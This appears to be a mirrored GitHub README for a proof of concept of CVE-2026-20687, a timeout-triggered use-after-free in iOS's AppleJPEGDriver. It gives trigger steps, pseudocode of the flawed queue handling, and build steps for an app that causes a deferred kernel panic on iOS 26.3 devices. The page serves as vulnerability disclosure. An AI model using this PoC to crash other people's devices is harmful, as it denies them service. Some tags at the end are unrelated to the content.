zeroxjf/CVE-2026-20687-AppleJPEGDriver-UAF

GitHub: zeroxjf/CVE-2026-20687-AppleJPEGDriver-UAF

该项目提供了针对 AppleJPEGDriver 中 startDecoder 超时导致的 Use-After-Free 内核漏洞的概念验证代码,可在 iOS 26.3 设备上触发延迟内核 Panic。

Stars: 15 | Forks: 1

# CVE-2026-20687: AppleJPEGDriver startDecoder() 超时 UAF(延迟 panic) **[CVE-2026-20687](https://support.apple.com/en-us/126792)** | 作者:[Johnny Franks (@zeroxjf)](https://x.com/zeroxjf) **这将导致设备内核 panic。请保存您的工作。** 在 iPhone18,2 (iPhone 17 Pro Max, A19 Pro) 上的 iOS 26.3 (23D125) 版本测试。 ## 触发方式 直接触发步骤: 1. 运行 PoC 并点击 **Panic**(初始化驱动 / 排队异步工作)。 2. 然后打开 **Camera**(这在受影响的构建版本上会可靠地导致同步 JPEG 解码 + 超时)。 3. 超时路径释放了一个请求,但其嵌入的队列节点指针仍保留在 per-codec 向量中。 4. 后续的队列遍历解引用了过时的节点,导致内核 panic(MTE 标签检查错误)。 ``` // PoC: primes the driver; panic is usually deferred until Camera is opened. IOServiceOpen("AppleJPEGDriver"); for (int i = 0; i < N; i++) { startDecoder_async(); // queue_io_gated(): vector.push(req + 0x78) } IOServiceClose(conn); // Later, opening Camera triggers: startDecoder_sync(); queue_io_gated(): vector.push(req + 0x78); wait(10s) -> TIMEOUT; pool_free(req); // BUG: does NOT dequeue (req + 0x78) // Later still (finish_io_gated): fullSpeedRequestExist(): node_ptr = vector[i]; // stale: node_ptr == (freed req + 0x78) req2 = *(node_ptr + 0x8); // UAF read of req+0x80 -> MTE tag fault -> panic ``` ## 构建与运行 1. 在 Xcode 中打开 `ios-app/Test.xcodeproj` 2. 选择您的 iOS 设备(模拟器无效) 3. 构建并运行 4. 点击 **Panic** 按钮 5. 打开 **Camera** 应用以触发延迟 panic
标签:A19 Pro, AppleJPEGDriver, CVE-2026-20687, IOKit, iOS 26.3, iOS漏洞, JPG解码, Kernel Panic, macOS漏洞, MTE, PoC, UAF, UML, Use After Free, 内存安全, 内核崩溃, 内核漏洞, 子域名枚举, 安全, 暴力破解, 漏洞复现, 目录枚举, 相机漏洞, 移动安全, 系统安全, 超时处理, 释放后重用, 零日漏洞